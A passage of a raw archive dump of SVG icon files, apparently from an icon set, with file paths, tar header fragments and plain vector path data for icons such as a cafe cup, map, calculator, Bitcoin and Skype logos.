0-8.2 1.7-11.2 4.7l-20.3 20.4c-6.1 6.2-6.1 16.2 0 22.3l.3.3h.1c2.9 2.8 6.8 4.3 10.8 4.3 4.2 0 8.2-1.7 11.2-4.7l20.3-20.4c6.1-6 6.1-16 0-22.2zM92.9 273.3c-4.2 0-8.2 1.7-11.2 4.7l-20.3 20.5c-6.1 6.2-6.1 16.2 0 22.3 3 3 7 4.7 11.2 4.7 4.2 0 8.2-1.7 11.2-4.7l20.3-20.5c6.1-6.2 6.1-16.2 0-22.3-3-3-7-4.7-11.2-4.7zM403.3 259.2h-2.4c-3.1 0-6.1 0-9 .4-11.3-50.3-56.1-88.2-109.7-88.2-14.6 0-28.6 2.8-41.4 7.9-5.1 2-10 4.4-14.7 7.1-32 18.5-54.1 52.4-56.2 91.6-.1 2.1-.2 4.1-.2 6.2 0 3.4.2 6.8.5 10.1 0 .4.1.8.1 1.1-37.9 3.4-67.6 37.1-67.6 76 0 41.1 33.3 76.7 74.3 76.7h226.4c51.2 0 92.7-43.4 92.7-94.8-.1-51.4-41.6-94.1-92.8-94.1z"/><path d="M150.7 283.6v-.3c-.3-3.4-.5-6.8-.5-10.2 0-2.1.1-4.2.2-6.3 2.2-39.9 24.6-74.3 57.2-93.1 4.8-2.8 9.8-5.2 14.9-7.2h.1c-13.4-17-34.2-28-57.6-28-40.5 0-73.3 32.8-73.3 73.3 0 35.5 25.3 65.1 59 71.8z"/></svg>collection/icon/svg/ios-add-circle-outline.svg000064400000001014151701353760015407 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M346.5 240H272v-74.5c0-8.8-7.2-16-16-16s-16 7.2-16 16V240h-74.5c-8.8 0-16 6-16 16s7.5 16 16 16H240v74.5c0 9.5 7 16 16 16s16-7.2 16-16V272h74.5c8.8 0 16-7.2 16-16s-7.2-16-16-16z"/><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/></svg>collection/icon/svg/md-cafe.svg000064400000000331151701353760012450 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 400h368v48H48zM424 64H80v224c0 44 36 80 80 80h144c44 0 80-36 80-80v-64h40c22 0 40-18 40-40v-80c0-22-18-40-40-40zm0 112h-40v-64h40v64z"/></svg>collection/icon/svg/ios-map.svg000064400000001123151701353760012521 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 72.5v316.3c0 2.8 1.3 5.5 3.5 7l69.8 50.2c5.2 3.7 12.1-.3 12.1-7V122.7c0-2.8-1.3-5.5-3.5-7L76.1 65.4c-5.2-3.7-12.1.3-12.1 7.1zM168.7 123.3v316.3c0 6.7 6.9 10.8 12.1 7l62-36.7c2.2-1.6 3.5-4.2 3.5-7V86.6c0-6.7-6.9-10.8-12.1-7l-62 36.7c-2.2 1.5-3.5 4.1-3.5 7zM435.9 65.5l-69.8 50.7c-2.2 1.6-3.5 4.2-3.5 7v316.2c0 6.8 6.9 10.8 12.1 7l69.8-50.7c2.2-1.6 3.5-4.2 3.5-7V72.5c0-6.7-6.9-10.7-12.1-7zM265.7 85.6v316.2c0 2.8 1.3 5.5 3.5 7l62 37c5.2 3.8 12.1-.3 12.1-7V122.6c0-2.8-1.3-5.5-3.5-7l-62-37c-5.2-3.7-12.1.3-12.1 7z"/></svg>collection/icon/svg/md-calculator.svg000064400000000571151701353760013711 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M368 48H144c-26.6 0-48 21.6-48 48v320c0 26.4 21.4 48 48 48h224c26.4 0 48-21.6 48-48V96c0-26.4-21.4-48-48-48zM200 416h-48v-48h48v48zm0-88h-48v-48h48v48zm0-88h-48v-48h48v48zm80 176h-48v-48h48v48zm0-88h-48v-48h48v48zm0-88h-48v-48h48v48zm80 176h-48V280h48v136zm0-176h-48v-48h48v48zm0-96H152V96h208v48z"/></svg>collection/icon/svg/md-reorder.svg000064400000000240151701353760013213 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96 348h320v36H96zM96 128h320v36H96zM96 200.7h320v35.6H96zM96 275.8h320v35.6H96z"/></svg>collection/icon/svg/ios-flash.svg000064400000000363151701353760013046 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376.2 224H268l52.4-186.9c.9-4.5-4.6-7.1-7.2-3.4L129.5 274.6c-3.8 5.6-.2 13.4 6.3 13.4H244l-52.4 186.9c-.9 4.5 4.6 7.1 7.2 3.4l183.7-240.8c3.7-5.7.2-13.5-6.3-13.5z"/></svg>collection/icon/svg/md-arrow-dropup.svg000064400000000151151701353760014213 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 320l128-128 128 128z"/></svg>collection/icon/svg/logo-bitcoin.svg000064400000001672151701353760013552 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M410.5 279.2c-5-11.5-12.7-21.6-28.1-30.1-8.2-4.5-16.1-7.8-25.4-10 5.4-2.5 10-5.4 16.3-11 7.5-6.6 13.1-15.7 15.6-23.3 2.6-7.5 4.1-18 3.5-28.2-1.1-16.8-4.4-33.1-13.2-44.8-8.8-11.7-21.2-20.7-37.6-27-12.6-4.8-25.5-7.8-45.5-8.9V32h-40v64h-32V32h-41v64H96v48h27.9c8.7 0 14.6.8 17.6 2.3 3.1 1.5 5.3 3.5 6.5 6 1.3 2.5 1.9 8.4 1.9 17.5V343c0 9-.6 14.8-1.9 17.4-1.3 2.6-2 4.9-5.1 6.3-3.1 1.4-3.2 1.3-11.8 1.3h-26.4L96 416h87v64h41v-64h32v64h40v-64.4c26-1.3 44.5-4.7 59.4-10.3 19.3-7.2 34.1-17.7 44.7-31.5 10.6-13.8 14.9-34.9 15.8-51.2.7-14.5-.9-33.2-5.4-43.4zM224 150h32v74h-32v-74zm0 212v-90h32v90h-32zm72-208.1c6 2.5 9.9 7.5 13.8 12.7 4.3 5.7 6.5 13.3 6.5 21.4 0 7.8-2.9 14.5-7.5 20.5-3.8 4.9-6.8 8.3-12.8 11.1v-65.7zm28.8 186.7c-7.8 6.9-12.3 10.1-22.1 13.8-2 .8-4.7 1.4-6.7 1.9v-82.8c5 .8 7.6 1.8 11.3 3.4 7.8 3.3 15.2 6.9 19.8 13.2 4.6 6.3 8 15.6 8 24.7 0 10.9-2.8 19.2-10.3 25.8z"/></svg>collection/icon/svg/ios-more.svg000064400000000417151701353760012713 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M255.8 218c-21 0-38 17-38 38s17 38 38 38 38-17 38-38-17-38-38-38zM102 218c-21 0-38 17-38 38s17 38 38 38 38-17 38-38-17-38-38-38zM410 218c-21 0-38 17-38 38s17 38 38 38 38-17 38-38-17-38-38-38z"/></svg>collection/icon/svg/ios-trending-up.svg000064400000000741151701353760014205 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464.9 128H344.1c-8.3 0-15.1 6.6-15.1 14.8s6.8 14.8 15.1 14.8h83.7l-138 142.2-85.9-84.1c-2.9-2.8-6.6-4.3-10.7-4.3-4 0-7.8 1.5-10.7 4.3L36.2 358.8c-1.9 1.9-4.2 5.2-4.2 10.7 0 4.1 1.4 7.5 4.2 10.2 2.9 2.8 6.6 4.3 10.7 4.3 4 0 7.8-1.5 10.7-4.3L193.2 247l85.9 84.1c2.9 2.8 6.6 4.3 10.7 4.3 4 0 7.8-1.5 10.7-4.3l149.4-151.9v81.7c0 8.1 6.8 14.8 15.1 14.8s15.1-6.6 15.1-14.8V142.8c-.1-8.2-6.9-14.8-15.2-14.8z"/></svg>collection/icon/svg/md-key.svg000064400000000471151701353760012347 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M249.2 224c-14.2-40.2-55.1-72-100.2-72-57.2 0-101 46.8-101 104s45.8 104 103 104c45.1 0 84.1-31.8 98.2-72H352v64h69.1v-64H464v-64H249.2zm-97.6 66.5c-19 0-34.5-15.5-34.5-34.5s15.5-34.5 34.5-34.5 34.5 15.5 34.5 34.5-15.5 34.5-34.5 34.5z"/></svg>collection/icon/svg/md-heart-dislike.svg000064400000000615151701353760014304 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M51.9 76.6l25 25c-18.1 20.3-29 47.3-29 77.6 0 79.5 70.7 143.3 177.8 241.7L256 448l30.2-27.2c20.6-18.9 39.9-36.6 57.5-53.3l92.2 92 24-24-383.8-383-24.2 24.1zM464 179.1C464 114.2 414.1 64 349.6 64c-36.4 0-70.7 16.7-93.6 43.9C233.1 80.7 198.8 64 162.4 64c-8.4 0-16.5.9-24.3 2.5l253.7 253.1C437.3 270.9 464 228 464 179.1z"/></svg>collection/icon/svg/ios-unlock.svg000064400000000776151701353760013254 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376 192H188v-48c0-18.1 7.1-35.1 20-48s29.9-20 48-20 35.1 7.1 48 20 20 29.9 20 48c0 7.7 6.3 14 14 14s14-6.3 14-14c0-53.2-43.9-96.7-97.3-96-52.7.7-94.7 44.5-94.7 97.3V192h-24c-22 0-40 18-40 40v192c0 22 18 40 40 40h240c22 0 40-18 40-40V232c0-22-18-40-40-40zM270 316.8v68.8c0 7.5-5.8 14-13.3 14.4-8 .4-14.7-6-14.7-14v-69.2c-11.5-5.6-19.1-17.8-17.9-31.7 1.4-15.5 14.1-27.9 29.6-29 18.7-1.3 34.3 13.5 34.3 31.9 0 12.7-7.3 23.6-18 28.8z"/></svg>collection/icon/svg/md-alarm.svg000064400000001144151701353760012651 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M470 124.837l-98.443-81.78-27.814 32.931 98.442 81.769L470 124.837zM167.192 74.919L139.366 42 42 124.837l27.814 32.919 97.378-82.837zm99.509 97.709H234.6v127.446l101.649 60.539L352.3 334.06l-85.6-49.917V172.628zM256 87.665c-107 0-192.601 86.021-192.601 191.166C63.399 383.98 149 470 256 470c105.936 0 192.601-86.02 192.601-191.169 0-105.144-86.665-191.166-192.601-191.166zm0 339.855c-82.393 0-149.8-66.906-149.8-148.688 0-81.777 67.407-148.684 149.8-148.684 82.394 0 149.8 66.906 149.8 148.684 0 82.839-67.406 148.688-149.8 148.688z"/></svg>collection/icon/svg/md-planet.svg000064400000001642151701353760013043 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M135.7 151c-2.5 3-4.9 6-7.2 9.2 32.2 36.3 76.1 76.5 124.2 113.7 37.8 29.2 76.3 55.2 111.4 75.1 5.9 3.3 11.7 6.5 17.3 9.4 2.5-3 4.9-6 7.2-9.2 11.7-16.1 18.1-33.2 23.3-53.6.8-3.2 1.5-6.4 2.1-9.5 15.8-83-35.6-164.9-118.5-185.9-37-9.4-74.1-5.1-106.3 9.7-21.4 9.9-38.2 22.9-53.5 41.1z"/><path d="M418.2 326.8c-4.1 11-7.4 17.5-7.4 17.5 18.2 21.1 24.6 33.9 31.9 46.4 2.4 4.1 7.4 13.1.9 12.4-1.7-.3-3.5-.7-5.5-1.3-21.3-5.4-51.2-18.7-84.3-37.4-35.8-20.3-74.9-46.7-113.3-76.3-51.1-39.5-97.5-82.3-130.6-120.5-15.3-17.6-27.6-34.2-35.7-47.9-2.4-4.1-3.9-6.3-5.6-10.4-2.5-6.2 5-5.1 7-4.6 14.9 3.8 35 9.9 58.2 23.8 0 0 4.3-4.8 13.9-11.4-22.8-15.4-44.6-27.7-65.2-35.5-23.1-8.8-41.1-6.8-47.5 3.7-12.2 19.9 14 72.3 65.3 132-21.5 86 30.6 173.3 116.5 195 41.1 10.4 82.4 3.9 116.8-15 38.1 17.6 72.1 28.6 96.9 34.9 23.9 6.1 40.4 5.5 46.8-4.9 11.1-18.2-12.1-51.8-59.1-100.5z"/></svg>collection/icon/svg/ios-compass.svg000064400000000634151701353760013417 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M280.5 280.5l-49-49c-.9-.9-2.5-.7-3.2.4l-49.5 98.5c-1.1 1.8 1 3.9 2.8 2.8l98.5-49.5c1.1-.7 1.3-2.3.4-3.2z"/><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm40.6 249.3L137 377.8c-1.8 1.1-3.9-1-2.8-2.8l80.6-159.6c.2-.3.4-.5.7-.7L375 134.2c1.8-1.1 3.9 1 2.8 2.8l-80.6 159.6c-.1.3-.3.5-.6.7z"/></svg>collection/icon/svg/md-refresh-circle.svg000064400000000605151701353760014453 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.6 48 48 141.6 48 256s93.6 208 208 208 208-93.6 208-208S370.4 48 256 48zm112 194h-98l44.8-44.8C300.1 181.8 279.1 172 256 172c-46.2 0-84 37.8-84 84s37.8 84 84 84c34.9 0 65.3-21.2 77.6-52h29.8c-13.9 46.3-56.3 80-107.4 80-62.3 0-112-50.4-112-112s50.4-112 112-112c30.8 0 58.8 12.6 79.1 32.9L368 144v98z"/></svg>collection/icon/svg/md-cart.svg000064400000001277151701353760012515 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M169.6 377.6c-22.882 0-41.6 18.718-41.6 41.601 0 22.882 18.718 41.6 41.6 41.6s41.601-18.718 41.601-41.6c-.001-22.884-18.72-41.601-41.601-41.601zM48 51.2v41.6h41.6l74.883 151.682-31.308 50.954c-3.118 5.2-5.2 12.482-5.2 19.765 0 27.85 19.025 41.6 44.825 41.6H416v-40H177.893c-3.118 0-5.2-2.082-5.2-5.2 0-1.036 2.207-5.2 2.207-5.2l20.782-32.8h154.954c15.601 0 29.128-8.317 36.4-21.836l74.882-128.8c1.237-2.461 2.082-6.246 2.082-10.399 0-11.446-9.364-19.765-20.8-19.765H135.364L115.6 51.2H48zm326.399 326.4c-22.882 0-41.6 18.718-41.6 41.601 0 22.882 18.718 41.6 41.6 41.6S416 442.082 416 419.2c0-22.883-18.719-41.6-41.601-41.6z"/></svg>collection/icon/svg/ios-tennisball.svg000064400000001140151701353760014076 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M250.4 464c1-7.9 1.6-15.9 1.6-23.9 0-48.1-18.7-94.3-52.7-128.3S119 260 70.9 260c-7.7 0-15.4.5-22.9 1.4 2.8 110.3 92.3 199.3 202.4 202.6z"/><path d="M230 74c0-8.3.5-16.4 1.4-24.5-95.3 11.7-171.7 89-182.2 184.7 7.2-.7 14.4-1.1 21.8-1.1 114.9 0 207.1 92.2 207.1 207 0 7.7-.4 15.3-1.3 22.8 96.6-10.1 174.6-86.2 185.8-182.4-8.4 1-16.9.6-25.5.6C322.1 281 230 188.9 230 74z"/><path d="M308.7 202.3c34 34 80.2 52.7 128.3 52.7 9.1 0 18.1-.7 27-2-2.2-112-93.9-203.5-206.1-205-1.2 8.5-1.9 17.2-1.9 26 0 48.1 18.7 94.3 52.7 128.3zM232 49.3z"/></svg>collection/icon/svg/ios-arrow-round-up.svg000064400000000515151701353760014651 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M348.3 216.4c-5 5.1-13.3 5.1-18.4.1L269 155.8v231.3c0 7.1-5.8 12.9-13 12.9s-13-5.8-13-12.9V155.8l-60.9 60.8c-5.1 5-13.3 4.9-18.4-.1-5-5.1-5-13.2.1-18.3l83-82.4c1.2-1.1 2.5-2 4.1-2.7 1.6-.7 3.3-1 5-1 3.4 0 6.6 1.3 9.1 3.7l83 82.4c5.2 4.9 5.3 13.1.3 18.2z"/></svg>collection/icon/svg/md-flame.svg000064400000001033151701353760012636 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M393.3 222.1l-.2 10.4c-.8 11.7-7.9 43.4-22.1 54.7 7-15.2 17.3-47.2 10.2-82.7C361.6 107 287.5 65.6 193 50l-17.2-2.2c39.5 47.2 56.1 81.7 49.7 116.8-2.3 12.6-10 23.4-14 31.6 0 0 2.4-12.9 2-28.7-.3-14.2-6.6-31-18-39.6 3.5 18.4-.8 33.5-9.1 47.7-24.7 42.2-85.4 57.8-90.4 135.8v3.8c0 53.7 25.6 99 68.7 125-6.8-12.3-12-35.2-5.7-60.2 4 23.7 14 36 24.9 51.8 8.2 11.7 19.1 19.3 33.1 24.9s31 7.2 47.9 7.2c55.8 0 91.4-18.1 119.1-50.5s32.1-68 32.1-106.4-8.5-60.9-22.8-84.9z"/></svg>collection/icon/svg/ios-nutrition.svg000064400000001664151701353760014011 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M359.1 231.9h-.1c-.1-.1-.3-.4-.4-.6l-78.9-79.6c-5.8-6-14.2-10.2-23.6-10.2-11.8 0-22.2 6.2-27.7 16.3 0 0-3.4 5.1-12.6 19.8-1.6 2.6-1.6 6 .1 8.6l26.8 41.2c2.9 3.8 3.3 8 1.4 9.9l-.1.1c-2.3 2.3-5.9 1.5-9.8-1.4l-32.3-20.5c-3.8-2.4-8.7-1.2-11.1 2.5-21.9 35.1-46.8 74.7-71.2 114-1.6 2.5-1.6 5.7-.1 8.3l14.1 24.1c2.9 3.8 3.3 8 1.4 9.9l-.1.1c-2.3 2.3-5.9 1.5-9.8-1.4l-16.6-8.4c-3.7-1.9-8.2-.6-10.4 2.9-17.7 28.3-28 44.7-29.1 46.5-3 5.1-5 11.2-5 17.8 0 17.8 14.2 32.2 31.9 32.2 7.8 0 14.4-3.4 20.6-7.6L221 378.8c3.4-2.5 4.2-7.2 2-10.7L202.5 336c-2.9-3.8-3.3-8-1.4-9.9l.1-.1c2.3-2.3 5.9-1.5 9.8 1.4l37.4 25.6c2.8 1.9 6.5 1.9 9.3-.2 53-39.1 97.5-72.2 97.5-72.2 7.9-6 13-15.4 13-26 0-8.7-3.1-16.8-9.1-22.7zM446.9 131.2l-11.2-17.9c-2.2-3.8-7.1-5.1-10.9-2.9L365.4 147l47.3-78.9c2.2-3.8.9-8.8-2.9-11l-17.7-8c-3.9-2.3-8.8-.9-11 3l-57.6 108.3 28.6 28.8 91.8-46.8c3.9-2.2 5.3-7.2 3-11.2z"/></svg>collection/icon/svg/logo-hackernews.svg000064400000000244151701353760014247 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 64v384h384V64H64zm214 215v72h-40v-72l-66-120h47.1l39.7 83.6 38-83.6H342l-64 120z"/></svg>collection/icon/svg/ios-volume-mute.svg000064400000000463151701353760014231 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M326.9 145.6c-2.2-1.1-4.6-1.6-6.9-1.6-3.6 0-7.1 1.2-10 3.5L244.8 200H192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16h52.8l65.2 52.5c2.9 2.3 6.5 3.5 10 3.5 2.3 0 4.7-.5 6.9-1.6 5.6-2.7 9.1-8.3 9.1-14.4V160c0-6.2-3.5-11.8-9.1-14.4z"/></svg>collection/icon/svg/md-menu.svg000064400000000246151701353760012523 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 384h384v-42.666H64V384zm0-106.666h384v-42.667H64v42.667zM64 128v42.665h384V128H64z"/></svg>collection/icon/svg/logo-rss.svg000064400000000574151701353760012732 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M119.9 336.1c-30.8 0-55.9 25.1-55.9 55.8 0 30.8 25.1 55.6 55.9 55.6 30.9 0 55.9-24.9 55.9-55.6 0-30.7-25-55.8-55.9-55.8z"/><path d="M64 192v79.9c48 0 94.1 14.2 128 48.1 33.9 33.9 48 79.9 48 128h80c0-139.9-116-256-256-256z"/><path d="M64 64v79.9c171 0 303.9 133 303.9 304.1H448C448 236.3 276 64 64 64z"/></svg>collection/icon/svg/md-phone-portrait.svg000064400000000436151701353760014533 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M358.856 32H153.143C130.512 32 112 50.326 112 72.728v366.545C112 461.674 130.512 480 153.143 480h205.713C381.488 480 400 461.674 400 439.272V72.728C400 50.326 381.488 32 358.856 32zM364 400H148V112h216v288z"/></svg>collection/icon/svg/md-mail.svg000064400000000477151701353760012507 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.332 80H74.668C51.199 80 32 99.198 32 122.667v266.666C32 412.802 51.199 432 74.668 432h362.664C460.801 432 480 412.802 480 389.333V122.667C480 99.198 460.801 80 437.332 80zM432 170.667L256 288 80 170.667V128l176 117.333L432 128v42.667z"/></svg>collection/icon/svg/ios-contrast.svg000064400000000423151701353760013603 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm127.3 335.3c-34 34-79.2 52.7-127.3 52.7V76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3z"/></svg>collection/icon/svg/md-speedometer.svg000064400000001246151701353760014074 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 416h256v48H128zM256 288c17.7 0 32-14.3 32-32s-14.3-32-32-32c-3 0-6 .4-8.8 1.2l-66.7-48.7-4 3.5 48.9 66.7c-.9 2.9-1.4 6-1.4 9.3 0 17.7 14.3 32 32 32z"/><path d="M256 48C141.1 48 48 141.1 48 256c0 48.3 16.5 92.7 44.1 128h58.8l4-4 22.1-22.1-22.9-22.9-22.1 22c-19.9-24.3-32.1-54-35.2-85H128v-32H96.8c3.1-31 15.3-60.7 35.2-85l22.1 22 22.9-22.9-22-22.1c24.3-19.9 54-32.1 85-35.2V128h32V96.8c31 3.1 60.7 15.3 85 35.2l-22 22.1 22.9 22.9 22.1-22c19.9 24.3 32.1 54 35.2 85H384v32h31.2c-3.1 31-15.3 60.7-35.2 85l-22.1-22-22.9 22.9 22.1 22.1 4 4h58.8c27.6-35.3 44.1-79.7 44.1-128 0-114.9-93.1-208-208-208z"/></svg>collection/icon/svg/ios-planet.svg000064400000002040151701353760013226 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M462.5 352.3c-1.9-5.5-5.6-11.5-11.4-18.3-10.2-12-30.8-29.3-54.8-47.2-2.6-2-6.4-.8-7.5 2.3l-4.7 13.4c-.7 2 0 4.3 1.7 5.5 15.9 11.6 35.9 27.9 41.8 35.9 2 2.8-.5 6.6-3.9 5.8-10-2.3-29-7.3-44.2-12.8-8.6-3.1-17.7-6.7-27.2-10.6 16-20.8 24.7-46.3 24.7-72.6 0-32.8-13.2-63.6-37.1-86.4-22.9-21.9-53.8-34.1-85.7-33.7-25.7.3-50.1 8.4-70.7 23.5-18.3 13.4-32.2 31.3-40.6 52-8.3-6-16.1-11.9-23.2-17.6-13.7-10.9-28.4-22-38.7-34.7-2.2-2.8.9-6.7 4.4-5.9 11.3 2.6 35.4 10.9 56.4 18.9 1.5.6 3.2.3 4.5-.8l11.1-10.1c2.4-2.1 1.7-6-1.3-7.2C121 137.4 89.2 128 73.2 128c-11.5 0-19.3 3.5-23.3 10.4-7.6 13.3 7.1 35.2 45.1 66.8 34.1 28.5 82.6 61.8 136.5 92 87.5 49.1 171.1 81 208 81 11.2 0 18.7-3.1 22.1-9.1 2.8-4.7 3.1-10.4.9-16.8zM312 354c-29.1-12.8-59.3-26-92.6-44.8-30.1-16.9-59.4-36.5-84.4-53.6-1-.7-2.2-1.1-3.4-1.1-.9 0-1.9.2-2.8.7-2 1-3.3 3-3.3 5.2 0 1.2-.1 2.4-.1 3.5 0 32.1 12.6 62.3 35.5 84.9 22.9 22.7 53.4 35.2 85.8 35.2 23.6 0 46.5-6.7 66.2-19.5 1.9-1.2 2.9-3.3 2.7-5.5-.1-2.2-1.5-4.1-3.6-5z"/></svg>collection/icon/svg/md-log-out.svg000064400000001072151701353760013143 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M192 277.4h189.7l-43.6 44.7L368 352l96-96-96-96-31 29.9 44.7 44.7H192v42.8z"/><path d="M255.7 421.3c-44.1 0-85.5-17.2-116.7-48.4-31.2-31.2-48.3-72.7-48.3-116.9 0-44.1 17.2-85.7 48.3-116.9 31.2-31.2 72.6-48.4 116.7-48.4 44 0 85.3 17.1 116.5 48.2l30.3-30.3c-8.5-8.4-17.8-16.2-27.7-23.2C339.7 61 298.6 48 255.7 48 141.2 48 48 141.3 48 256s93.2 208 207.7 208c42.9 0 84-13 119-37.5 10-7 19.2-14.7 27.7-23.2l-30.2-30.2c-31.1 31.1-72.5 48.2-116.5 48.2zM448.004 256.847l-.849-.848.849-.849.848.849z"/></svg>collection/icon/svg/ios-bug.svg000064400000003265151701353760012532 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M374.6 127.3C345.4 88.5 303.1 64 256 64c-47.1 0-89.4 24.5-118.6 63.3 6.4 15.6 15.8 30 28.1 42.3 24.2 24.2 56.3 37.5 90.5 37.5s66.3-13.3 90.5-37.5c12.3-12.3 21.8-26.6 28.1-42.3z"/><path d="M122 150s-3.8-1.6-5.9-3.3c-2.1-1.7-5-4.9-6.5-8.4 5.4-11.3 1.2-25-9.9-31.3-11.8-6.6-26.9-2.2-33.1 10-4.5 8.9-2.9 19.8 3.8 27.1 1.8 1.9 3.7 3.4 5.7 4.6 2.8 1.6 4.9 4 6.4 6.8 2.7 5.2 6.4 10.7 11.1 14.6 4.2 3.5 8.8 7.1 15.2 10.7-7.2 20.3-11.6 42.3-12.5 65.4-11 .2-18.6 2.1-25.5 4.1-4.2 1.2-8.2 3.4-11.8 5.9-1-.1-1.9-.2-2.9-.2-13.8 0-24.8 11.6-24 25.6.7 11.8 10.3 21.5 22.2 22.4 11 .8 20.6-5.9 24.3-15.5 2-5.3 6.7-9.2 12.4-9.9 1.9-.2 3.9-.4 6.2-.4 3.2 33 13.3 63.5 28.6 89.2-14.2 11-22.9 23-26.6 36.3 0 0-.8.4-1.9 1.4-1 .8-1.9 1.6-2.8 2.6-8.9 9.9-8.1 25 1.8 33.9 9.9 8.9 25 8.1 33.9-1.8 6.2-6.9 7.6-16.3 4.6-24.5-2.2-6-.7-12.7 3.9-17 1.6-1.5 3.5-3.1 5.7-4.9 27.1 31.7 59.4 52 99.7 54.4V232.9C190.8 230 144.4 195.3 122 150zM456 256.1c-1 0-2 .1-2.9.2-3.6-2.5-7.7-4.6-11.8-5.9-6.9-2-14.4-3.9-25.5-4.1-1-23.1-5.4-45.2-12.5-65.4 6.4-3.6 11-7.2 15.2-10.7 4.9-4.1 8.7-10 11.5-15.3 1.3-2.5 3.3-4.5 5.8-5.9 0 0 .1 0 .1-.1 11.6-6.5 15.7-21.1 9.2-32.7-6.5-11.6-21.1-15.7-32.7-9.2-11.1 6.2-15.3 19.9-9.9 31.3-1.6 3.4-3.4 5.7-6.5 8.4-2.3 2-5.9 4.3-5.9 4.3-22.4 45.3-68.8 79-122 81.9V448c40.3-2.4 72.6-22.8 99.7-54.4 2.1 1.7 3.9 3.2 5.4 4.6 4.8 4.4 6.4 11.3 4.2 17.5-3 8.1-1.5 17.5 4.7 24.3 8.9 9.9 24 10.7 33.9 1.8 9.9-8.9 10.7-24 1.8-33.9-.9-1-1.8-1.8-2.8-2.6-1.1-.9-1.9-1.4-1.9-1.4-3.7-13.3-12.4-25.3-26.6-36.3 15.3-25.7 25.4-56.2 28.6-89.2 2.1 0 4.1.2 5.9.4 5.9.7 10.7 4.7 12.9 10.2 3.7 9.4 13.2 15.9 24.1 15.1 11.8-.9 21.4-10.5 22.2-22.4.6-14-10.4-25.6-24.2-25.6z"/></svg>collection/icon/svg/logo-skype.svg000064400000003012151701353760013244 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M436.9 296.8c2.8-12.5 4.2-25.4 4.2-38.7 0-99.7-82-180.6-183.2-180.6-10.7 0-21.1.9-31.3 2.6C210.3 69.9 191 64 170.2 64 111.6 64 64 110.9 64 168.7c0 19.4 5.3 37.5 14.6 53-2.4 11.7-3.7 23.9-3.7 36.3 0 99.8 82 180.6 183.1 180.6 11.5 0 22.7-1 33.5-3 15 7.9 32.1 12.4 50.2 12.4 58.7 0 106.2-46.9 106.2-104.7.1-16.7-3.9-32.5-11-46.5zm-85 47.5c-8.5 11.8-21 21.2-37.2 27.8-16.1 6.6-35.3 9.9-57.3 9.9-26.3 0-48.3-4.6-65.6-13.6-12.3-6.6-22.4-15.4-30.2-26.4-7.8-11-11.7-22-11.7-32.6 0-6.6 2.6-12.3 7.6-17.1 5-4.6 11.5-7 19.1-7 6.3 0 11.7 1.8 16.1 5.5 4.2 3.5 7.8 8.7 10.7 15.5 3.3 7.3 6.8 13.5 10.6 18.4 3.6 4.7 8.7 8.6 15.3 11.7 6.7 3.1 15.6 4.7 26.6 4.7 15.1 0 27.5-3.2 36.8-9.5 9.2-6.1 13.6-13.5 13.6-22.5 